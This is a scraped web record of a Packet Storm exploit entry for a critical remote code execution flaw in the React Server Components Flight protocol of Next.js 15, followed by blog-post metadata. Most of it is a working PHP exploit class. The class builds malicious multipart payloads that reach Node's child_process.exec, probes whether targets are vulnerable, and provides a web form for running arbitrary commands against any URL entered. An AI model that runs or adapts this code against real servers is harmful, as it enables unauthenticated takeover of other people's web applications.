{“lastseen”:”2026-02-09T16:17:39″,”description”:”A PHP-based proof of concept implementation demonstrating the critical remote code execution vulnerability in React Server Components RSC Flight protocol, affecting React and Next.js applications…”,”published”:”2026-02-09T00:00:00″,”modified”:”2026-02-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Next.js 15 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215162″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-55182″,”CVE-2025-66478″],”sourceData”:”=============================================================================================================================================\\n | # Title : Next.js 15 RCE Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/nextjs.org\/blog\/next-15 |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212599\/ \\u0026\\tCVE-2025-55182, CVE-2025-66478\\n \\n [+] Summary : A PHP-based proof-of-concept implementation demonstrating the critical Remote Code Execution vulnerability in React Server Components (RSC) Flight protocol, affecting React and Next.js applications\\n \\n [+] POC : http:\/\/127.0.0.1\/poc.php\\n \\n \\u003c?php\\n \\n \\n class ReactRCEExploit {\\n private $targetUrl;\\n private $userAgent = ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’;\\n \\n public function __construct($targetUrl) {\\n $this-\\u003etargetUrl = rtrim($targetUrl, ‘\/’);\\n }\\n \\n \/**\\n * \u0628\u0646\u0627\u0621 \u062c\u0632\u0621 Multipart \u062e\u0628\u064a\u062b\\n *\/\\n private function buildMaliciousChunk($refIdx, $reason, $getToken, $nodePayload) {\\n $data = [\\n ‘then’ =\\u003e \\”\\\\${$refIdx}:then\\”,\\n ‘status’ =\\u003e ‘resolved_model’,\\n ‘reason’ =\\u003e $reason,\\n ‘value’ =\\u003e json_encode([‘then’ =\\u003e ‘$B’]),\\n ‘_response’ =\\u003e [\\n ‘_prefix’ =\\u003e $nodePayload,\\n ‘_formData’ =\\u003e [\\n ‘get’ =\\u003e \\”\\\\${$refIdx}:{$getToken}:constructor\\”\\n ]\\n ]\\n ];\\n \\n return json_encode($data);\\n }\\n \\n \/**\\n * \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0642\u064a\u0645\u0629 \u0639\u0634\u0648\u0627\u0626\u064a\u0629\\n *\/\\n private function getRandomValue() {\\n $values = [‘\\”\\”‘, ‘{}’, ‘[]’, ‘null’, ‘undefined’, ‘true’, ‘false’];\\n $randomString = bin2hex(random_bytes(8));\\n $values[] = \\”\\\\\\”{$randomString}\\\\\\”\\”;\\n \\n return $values[array_rand($values)];\\n }\\n \\n \/**\\n * \u0628\u0646\u0627\u0621 \u0628\u064a\u0627\u0646\u0627\u062a POST\\n *\/\\n private function buildPostData($nodePayload) {\\n $randomReason = -rand(1, 9);\\n $randomRefIdx = rand(0, 9);\\n $getTokens = [‘then’, ‘constructor’];\\n $randomGetToken = $getTokens[array_rand($getTokens)];\\n \\n \/\/ \u0628\u0646\u0627\u0621 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0628\u064a\u062b\\n $chunk = $this-\\u003ebuildMaliciousChunk(\\n $randomRefIdx, \\n $randomReason, \\n $randomGetToken, \\n $nodePayload\\n );\\n \\n \/\/ \u0628\u0646\u0627\u0621 \u0628\u064a\u0627\u0646\u0627\u062a multipart\\n $boundary = ‘—-WebKitFormBoundary’ . bin2hex(random_bytes(16));\\n $data = \\”–{$boundary}\\\\r\\\\n\\”;\\n $data .= \\”Content-Disposition: form-data; name=\\\\\\”0\\\\\\”\\\\r\\\\n\\\\r\\\\n\\”;\\n $data .= $chunk . \\”\\\\r\\\\n\\”;\\n \\n $cycleLength = rand($randomRefIdx, 9);\\n for ($i = 1; $i \\u003c= $cycleLength; $i++) {\\n $value = ($i == $randomRefIdx) ? \\”\\\\\\”\\\\$@{$randomRefIdx}\\\\\\”\\” : $this-\\u003egetRandomValue();\\n $data .= \\”–{$boundary}\\\\r\\\\n\\”;\\n $data .= \\”Content-Disposition: form-data; name=\\\\\\”{$i}\\\\\\”\\\\r\\\\n\\\\r\\\\n\\”;\\n $data .= $value . \\”\\\\r\\\\n\\”;\\n }\\n \\n $data .= \\”–{$boundary}–\\\\r\\\\n\\”;\\n \\n return [\\n ‘data’ =\\u003e $data,\\n ‘boundary’ =\\u003e $boundary\\n ];\\n }\\n \\n \/**\\n * \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u062d\u0645\u0648\u0644\u0629\\n *\/\\n public function sendPayload($nodePayload) {\\n $postData = $this-\\u003ebuildPostData($nodePayload);\\n \\n $headers = [\\n ‘Next-Action: ‘,\\n ‘Content-Type: multipart\/form-data; boundary=’ . $postData[‘boundary’],\\n ‘User-Agent: ‘ . $this-\\u003euserAgent\\n ];\\n \\n $context = stream_context_create([\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘POST’,\\n ‘header’ =\\u003e implode(\\”\\\\r\\\\n\\”, $headers),\\n ‘content’ =\\u003e $postData[‘data’],\\n ‘ignore_errors’ =\\u003e true\\n ]\\n ]);\\n \\n $response = @file_get_contents($this-\\u003etargetUrl, false, $context);\\n \\n if ($response === false) {\\n return [\\n ‘success’ =\\u003e false,\\n ‘error’ =\\u003e ‘Failed to connect to target’\\n ];\\n }\\n \\n \/\/ \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629\\n $httpResponse = $http_response_header;\\n $statusCode = $this-\\u003eextractStatusCode($httpResponse);\\n \\n return [\\n ‘success’ =\\u003e true,\\n ‘status’ =\\u003e $statusCode,\\n ‘headers’ =\\u003e $httpResponse,\\n ‘body’ =\\u003e $response\\n ];\\n }\\n \\n \/**\\n * \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0643\u0648\u062f \u0627\u0644\u062d\u0627\u0644\u0629 \u0645\u0646 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629\\n *\/\\n private function extractStatusCode($headers) {\\n foreach ($headers as $header) {\\n if (preg_match(‘\/HTTP\\\\\/\\\\d\\\\.\\\\d\\\\s+(\\\\d+)\/’, $header, $matches)) {\\n return (int)$matches[1];\\n }\\n }\\n return 0;\\n }\\n \\n \/**\\n * \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629\\n *\/\\n public function checkVulnerability() {\\n $randomId = bin2hex(random_bytes(8));\\n $nodePayload = \\”throw Object.assign(new Error(‘NEXT_REDIRECT’),{digest:`NEXT_REDIRECT;push;\/{$randomId};307;`});\\”;\\n \\n $response = $this-\\u003esendPayload($nodePayload);\\n \\n if (!$response[‘success’]) {\\n return \\”Failed to connect to target\\”;\\n }\\n \\n if ($response[‘status’] == 303) {\\n $headersText = implode(\\”\\\\n\\”, $response[‘headers’]);\\n if (strpos($headersText, \\”\/{$randomId};push\\”) !== false) {\\n return \\”Vulnerable! The target appears to be exploitable.\\”;\\n }\\n }\\n \\n return \\”The target does not appear to be vulnerable.\\”;\\n }\\n \\n \/**\\n * \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0645\u0631\\n *\/\\n public function executeCommand($command) {\\n \/\/ \u062a\u0623\u0645\u064a\u0646 \u0627\u0644\u0623\u0645\u0631 (\u0647\u0630\u0627 \u0645\u062b\u0627\u0644 \u0641\u0642\u0637\u060c \u0641\u064a \u0627\u0644\u0648\u0627\u0642\u0639 \u064a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062a\u062d\u0635\u064a\u0646)\\n $escapedCommand = escapeshellcmd($command);\\n $nodePayload = \\”process.mainModule.require(‘child_process’).exec(\\\\\\”{$escapedCommand}\\\\\\”,{detached:true,stdio:’ignore’},function(){});\\”;\\n \\n return $this-\\u003esendPayload($nodePayload);\\n }\\n }\\n \\n \/\/ \u0645\u062b\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645\\n if (isset($_GET[‘test’])) {\\n header(‘Content-Type: text\/plain; charset=utf-8’);\\n \\n $target = isset($_GET[‘target’]) ? $_GET[‘target’] : ‘http:\/\/localhost:3000’;\\n $exploit = new ReactRCEExploit($target);\\n \\n if (isset($_GET[‘cmd’])) {\\n \/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0645\u0631 (\u0644\u0623\u063a\u0631\u0627\u0636 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0641\u0642\u0637)\\n $result = $exploit-\\u003eexecuteCommand($_GET[‘cmd’]);\\n echo \\”Command Execution Result:\\\\n\\”;\\n print_r($result);\\n } else {\\n \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0629\\n echo \\”Checking vulnerability…\\\\n\\”;\\n echo $exploit-\\u003echeckVulnerability();\\n }\\n \\n exit;\\n }\\n ?\\u003e\\n \\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003eReact RCE Test Tool\\u003c\/title\\u003e\\n \\u003cmeta charset=\\”utf-8\\”\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch1\\u003eReact RCE Vulnerability Test\\u003c\/h1\\u003e\\n \\u003cp\\u003e\\u003cstrong\\u003eWarning:\\u003c\/strong\\u003e For authorized security testing only!\\u003c\/p\\u003e\\n \\n \\u003cform method=\\”GET\\”\\u003e\\n \\u003cinput type=\\”hidden\\” name=\\”test\\” value=\\”1\\”\\u003e\\n \\n \\u003clabel for=\\”target\\”\\u003eTarget URL:\\u003c\/label\\u003e\\u003cbr\\u003e\\n \\u003cinput type=\\”text\\” id=\\”target\\” name=\\”target\\” \\n value=\\”http:\/\/localhost:3000\\” size=\\”50\\”\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n \\n \\u003clabel for=\\”cmd\\”\\u003eCommand to execute (optional):\\u003c\/label\\u003e\\u003cbr\\u003e\\n \\u003cinput type=\\”text\\” id=\\”cmd\\” name=\\”cmd\\” \\n placeholder=\\”id\\” size=\\”50\\”\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n \\n \\u003cinput type=\\”submit\\” value=\\”Test Vulnerability\\”\\u003e\\n \\u003c\/form\\u003e\\n \\n \\u003ch2\\u003eUsage Examples:\\u003c\/h2\\u003e\\n \\u003cul\\u003e\\n \\u003cli\\u003eJust check: \\u003ccode\\u003e?test=1\\u0026target=http:\/\/example.com\\u003c\/code\\u003e\\u003c\/li\\u003e\\n \\u003cli\\u003eTest with command: \\u003ccode\\u003e?test=1\\u0026target=http:\/\/example.com\\u0026cmd=whoami\\u003c\/code\\u003e\\u003c\/li\\u003e\\n \\u003c\/ul\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215162″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215162\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-09T16:17:39″,”description”:”A PHP-based proof of concept implementation demonstrating the critical remote code execution vulnerability in React Server Components RSC Flight protocol, affecting React and Next.js applications…”,”published”:”2026-02-09T00:00:00″,”modified”:”2026-02-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-39822","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n